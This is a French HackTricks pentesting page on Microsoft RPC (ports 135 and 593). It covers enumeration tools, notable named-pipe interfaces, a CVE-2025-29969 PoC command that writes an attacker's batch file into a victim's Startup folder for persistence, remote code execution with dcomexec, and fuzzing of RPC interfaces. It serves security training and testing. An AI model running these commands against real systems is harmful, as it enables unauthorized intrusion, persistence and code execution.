135, 593 - Pentesting MSRPC

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Informations de base

Le protocole Microsoft Remote Procedure Call (MSRPC), un modèle client-serveur permettant à un programme de demander un service à un programme situé sur un autre ordinateur sans connaître les spécificités du réseau, provient à l’origine d’un logiciel open-source, puis a été développé et protégé par Microsoft.

Le RPC endpoint mapper est accessible via les ports TCP et UDP 135, via SMB sur les ports TCP 139 et 445 (avec une session nulle ou authentifiée), et en tant que service web sur le port TCP 593.

135/tcp   open     msrpc         Microsoft Windows RPC

Comment fonctionne MSRPC ?

Initié par l’application cliente, le processus MSRPC consiste à appeler une procédure stub locale qui interagit ensuite avec la bibliothèque d’exécution client pour préparer et transmettre la requête au serveur. Cela inclut la conversion des paramètres dans un format standard Network Data Representation. Le choix du protocole de transport est déterminé par la bibliothèque d’exécution si le serveur est distant, garantissant que l’appel RPC est acheminé via la pile réseau.

https://0xffsec.com/handbook/images/msrpc.png

Identifier les services RPC exposés

L’exposition des services RPC sur TCP, UDP, HTTP et SMB peut être déterminée en interrogeant le service RPC locator et les points de terminaison individuels. Des outils tels que rpcdump facilitent l’identification des services RPC uniques, désignés par des valeurs IFID, révélant les détails du service et les liaisons de communication :

D:\rpctools> rpcdump [-p port] <IP>
**IFID**: 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc version 1.0
Annotation: Messenger Service
UUID: 00000000-0000-0000-0000-000000000000
Binding: ncadg_ip_udp:<IP>[1028]

L’accès au service RPC locator est assuré via des protocoles spécifiques : ncacn_ip_tcp et ncadg_ip_udp pour l’accès via le port 135, ncacn_np pour les connexions SMB, et ncacn_http pour la communication RPC basée sur le web. Les commandes suivantes illustrent l’utilisation des modules Metasploit pour auditer et interagir avec les services MSRPC, en se concentrant principalement sur le port 135 :

use auxiliary/scanner/dcerpc/endpoint_mapper
use auxiliary/scanner/dcerpc/hidden
use auxiliary/scanner/dcerpc/management
use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor
rpcdump.py <IP> -p 135

Toutes les options sauf tcp_dcerpc_auditor sont spécifiquement conçues pour cibler MSRPC sur le port 135.

Notable RPC interfaces

  • IFID: 12345778-1234-abcd-ef00-0123456789ab
  • Named Pipe: \pipe\lsarpc
  • Description: Interface LSA, utilisée pour énumérer les utilisateurs.
  • IFID: 3919286a-b10c-11d0-9ba8-00c04fd92ef5
  • Named Pipe: \pipe\lsarpc
  • Description: Interface LSA Directory Services (DS), utilisée pour énumérer les domaines et les relations de confiance.
  • IFID: 12345778-1234-abcd-ef00-0123456789ac
  • Named Pipe: \pipe\samr
  • Description: Interface LSA SAMR, utilisée pour accéder aux éléments publics de la base de données SAM (par ex., noms d’utilisateur) et pour brute-forcer les mots de passe des utilisateurs indépendamment de la politique de verrouillage de compte.
  • IFID: 1ff70682-0a51-30e8-076d-740be8cee98b
  • Named Pipe: \pipe\atsvc
  • Description: Planificateur de tâches, utilisé pour exécuter des commandes à distance.
  • IFID: 338cd001-2244-31f1-aaaa-900038001003
  • Named Pipe: \pipe\winreg
  • Description: Service de registre à distance, utilisé pour accéder et modifier le registre système.
  • IFID: 367abb81-9844-35f1-ad32-98f038001003
  • Named Pipe: \pipe\svcctl
  • Description: Gestionnaire de contrôle des services et services serveur, utilisés pour démarrer/arrêter des services à distance et exécuter des commandes.
  • IFID: 4b324fc8-1670-01d3-1278-5a47bf6ee188
  • Named Pipe: \pipe\srvsvc
  • Description: Gestionnaire de contrôle des services et services serveur, utilisés pour démarrer/arrêter des services à distance et exécuter des commandes.
  • IFID: 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57
  • Named Pipe: \pipe\epmapper
  • Description: Interface DCOM, utilisée pour des attaques de brute-force sur mots de passe et la collecte d’informations via WM.

MS-EVEN (EventLog Remoting) primitives

The MS-EVEN RPC interface (named pipe \pipe\even) exposes Eventlog operations. L’analyse de SafeBreach du CVE-2025-29969 (EventLog-in) montre une faille TOCTOU dans MS-EVEN qui permet à un utilisateur authentifié à faible privilège de déclencher une écriture arbitraire de fichier à distance sur la cible : du contenu choisi par l’attaquant écrit dans un chemin choisi par l’attaquant sans nécessiter les droits d’Administrateur pour l’écriture distante.

Operational pattern (PoC workflow): placer un EVTX valide ainsi que votre payload sur un partage SMB, puis provoquer une condition de course dans la logique MS-EVEN pour que la cible récupère le fichier hébergé sur SMB et l’écrive au chemin choisi.

impacket-smbserver -smb2support Share /tmp/safebreach

Le PoC publié utilise un nom de partage SMB codé en dur (Share), donc si vous le modifiez, vous devez aussi mettre à jour le script.

python write_file_remotely.py 192.168.56.102 192.168.56.105 lowuser Test123   "/tmp/safebreach/Sample.evtx" "calc.bat"   "C:\Users\lowuser\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\target.bat"

Une chaîne courante consiste à déposer dans le per-user Startup folder pour assurer la persistance et l’exécution au prochain logon (l’exécution se produit dans le contexte de cet utilisateur).

MS-EVEN primitive de type CreateFile pour recon

MS-EVEN expose aussi une primitive file open/create (décrite dans le PoC comme CreateFile) qui peut être utilisée par tout utilisateur authentifié pour vérifier si un fichier ou un répertoire distant existe. Cela est utile pour la découverte de logiciels en vérifiant les chemins d’installation courants (p.ex., C:\Program Files\<Vendor>):

python check_if_exists.py 192.168.56.57 lowuser Password1! "C:\Program Files\Wireshark"

Result:
FILE_EXISTS_AND_IS_DIRECTORY

Identifying IP addresses

En utilisant https://github.com/mubix/IOXIDResolver, provenant de Airbus research, il est possible d’abuser de la méthode ServerAlive2 au sein de l’interface IOXIDResolver.

Cette méthode a été utilisée pour obtenir des informations d’interface sous forme d’adresse IPv6 depuis la box HTB APT. Voir here pour le 0xdf APT writeup ; il inclut une méthode alternative utilisant rpcmap.py de Impacket avec stringbinding (voir ci‑dessus).

Executing a RCE with valid credentials

Il est possible d’exécuter du code à distance sur une machine si les identifiants d’un utilisateur valide sont disponibles, en utilisant dcomexec.py du framework impacket.

N’oubliez pas d’essayer avec les différents objets disponibles

  • ShellWindows
  • ShellBrowserWindow
  • MMC20

Port 593

Le rpcdump.exe de rpctools peut interagir avec ce port.

Automated Fuzzing of MSRPC Interfaces

Les interfaces MS-RPC exposent une large surface d’attaque souvent non documentée. Le module PowerShell open-source MS-RPC-Fuzzer s’appuie sur NtObjectManager de James Forshaw pour dynamiquement créer des stubs clients RPC à partir des métadonnées d’interface déjà présentes dans les binaires Windows. Une fois qu’un stub existe, le module peut bombarder chaque procédure avec des inputs mutés et journaliser le résultat, rendant possible le fuzzing reproductible à grande échelle des endpoints RPC sans écrire une seule ligne d’IDL.

1. Inventorier les interfaces

# Import the module (download / git clone first)
Import-Module .\MS-RPC-Fuzzer.psm1

# Parse a single binary
Get-RpcServerData -Target "C:\Windows\System32\efssvc.dll" -OutPath .\output

# Or crawl the whole %SystemRoot%\System32 directory
Get-RpcServerData -OutPath .\output

Get-RpcServerData extraira l’UUID, la version, les chaînes de liaison (named-pipe / TCP / HTTP) et les prototypes complets des procédures pour chaque interface rencontrée et les stockera dans rpcServerData.json.

2. Lancer le fuzzer

'.\output\rpcServerData.json' |
Invoke-RpcFuzzer -OutPath .\output `
-MinStrLen 100  -MaxStrLen 1000 `
-MinIntSize 9999 -MaxIntSize 99999

Options pertinentes :

  • -MinStrLen / -MaxStrLen – plage de tailles pour les chaînes générées
  • -MinIntSize / -MaxIntSize – plage de valeurs pour les entiers mutés (utile pour tester les overflows)
  • -Sorted – exécuter les procédures dans un ordre qui respecte les dépendances de paramètres afin que les sorties d’un appel puissent servir d’entrées au suivant (augmente drastiquement les chemins atteignables)

Le fuzzer implémente 2 stratégies :

  1. Default fuzzer – valeurs primitives aléatoires + instances par défaut pour les types complexes
  2. Sorted fuzzer – ordre tenant compte des dépendances (voir docs/Procedure dependency design.md)

Chaque appel est écrit de façon atomique dans log.txt ; après un crash, la dernière ligne indique immédiatement la procédure en cause. Le résultat de chaque appel est également classé dans trois fichiers JSON :

  • allowed.json – l’appel a réussi et a renvoyé des données
  • denied.json – le serveur a répondu par Access Denied
  • error.json – toute autre erreur / crash

3. Visualiser avec Neo4j

'.\output\allowed.json' |
Import-DataToNeo4j -Neo4jHost 192.168.56.10:7474 -Neo4jUsername neo4j

Import-DataToNeo4j convertit les artefacts JSON en une structure de graphe où :

  • serveurs RPC, interfaces et procédures sont des nœuds
  • Les interactions (ALLOWED, DENIED, ERROR) sont des relations

Des requêtes Cypher peuvent ensuite être utilisées pour repérer rapidement des procédures dangereuses ou rejouer la chaîne exacte d’appels qui a précédé un crash.

⚠️ Le fuzzer est destructeur : attendez‑vous à des plantages de service et même à des BSOD — exécutez‑le toujours dans un snapshot de VM isolé.

Énumération d’interfaces automatisée et génération dynamique de clients (NtObjectManager)

L’expert PowerShell James Forshaw a exposé la plupart des internals RPC de Windows dans le module open–source NtObjectManager. En l’utilisant, vous pouvez transformer n’importe quel DLL/EXE de serveur RPC en un client stub complet en quelques secondes — pas besoin d’IDL, de MIDL ni d’un unmarshalling manuel.

# Install the module once
Install-Module NtObjectManager -Force

# Parse every RPC interface exported by the target binary
$rpcinterfaces = Get-RpcServer "C:\Windows\System32\efssvc.dll"
$rpcinterfaces | Format-Table Name,Uuid,Version,Procedures

# Inspect a single procedure (opnum 0)
$rpcinterfaces[0].Procedures[0] | Format-List *

La sortie typique expose les types de paramètres exactement tels qu’ils apparaissent dans MIDL (par ex. FC_C_WSTRING, FC_LONG, FC_BIND_CONTEXT).

Une fois que vous connaissez l’interface, vous pouvez générer un client C# prêt à être compilé :

# Reverse the MS-EFSR (EfsRpc*) interface into C#
Format-RpcClient $rpcinterfaces[0] -Namespace MS_EFSR -OutputPath .\MS_EFSR.cs

Dans le stub produit, vous trouverez des méthodes telles que :

public int EfsRpcOpenFileRaw(out Marshal.NdrContextHandle ctx, string FileName, int Flags) {
// marshals parameters & calls opnum 0
}

L’utilitaire PowerShell Get-RpcClient peut créer un objet client interactif afin que vous puissiez appeler la procédure immédiatement :

$client = Get-RpcClient $rpcinterfaces[0]
Connect-RpcClient $client -stringbinding 'ncacn_np:127.0.0.1[\\pipe\\efsrpc]' `
-AuthenticationLevel PacketPrivacy `
-AuthenticationType  WinNT  # NTLM auth

# Invoke the procedure → returns an authenticated context handle
$ctx = New-Object Marshal.NdrContextHandle
$client.EfsRpcOpenFileRaw([ref]$ctx, "\\\127.0.0.1\test", 0)

L’authentification (Kerberos / NTLM) et les niveaux de chiffrement (PacketIntegrity, PacketPrivacy, …) peuvent être fournis directement via la cmdlet Connect-RpcClient – idéal pour contourner les Security Descriptors qui protègent les named pipes à privilèges élevés.

Fuzzing RPC contextuel (MS-RPC-Fuzzer)

La connaissance statique des interfaces est utile, mais ce dont vous avez vraiment besoin, c’est d’un fuzzing guidé par la couverture qui comprend les context handles et les chaînes de paramètres complexes. Le projet open-source MS-RPC-Fuzzer automatise précisément ce flux de travail :

  1. Enumérer chaque interface/procédure exportée par le binaire cible (Get-RpcServer).
  2. Générer des clients dynamiques pour chaque interface (Format-RpcClient).
  3. Randomiser les paramètres d’entrée (longueur des wide strings, plages d’entiers, enums) tout en respectant le NDR type original.
  4. Suivre les context handles renvoyés par un appel pour alimenter automatiquement les procédures suivantes.
  5. Lancer un fort volume d’appels contre le transport choisi (ALPC, TCP, HTTP ou named pipe).
  6. Enregistrer les codes de sortie / faults / timeouts et exporter un fichier d’import Neo4j pour visualiser les relations interface → procedure → parameter et les clusters de crash.

Example run (named–pipe target):

Invoke-MSRPCFuzzer -Pipe "\\.\pipe\efsrpc" -Auth NTLM `
-MinLen 1  -MaxLen 0x400 `
-Iterations 100000 `
-OutDir .\results

Un seul out-of-bounds write ou une exception inattendue sera signalé(e) immédiatement avec l’opnum exact + le fuzzed payload qui l’a déclenché – point de départ parfait pour un proof-of-concept exploit stable.

⚠️ De nombreux services RPC s’exécutent dans des processus tournant sous NT AUTHORITY\SYSTEM. Toute faille de sécurité mémoire ici se traduit généralement par une élévation de privilèges locale ou (lorsqu’elle est exposée via SMB/135) remote code execution.

References

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks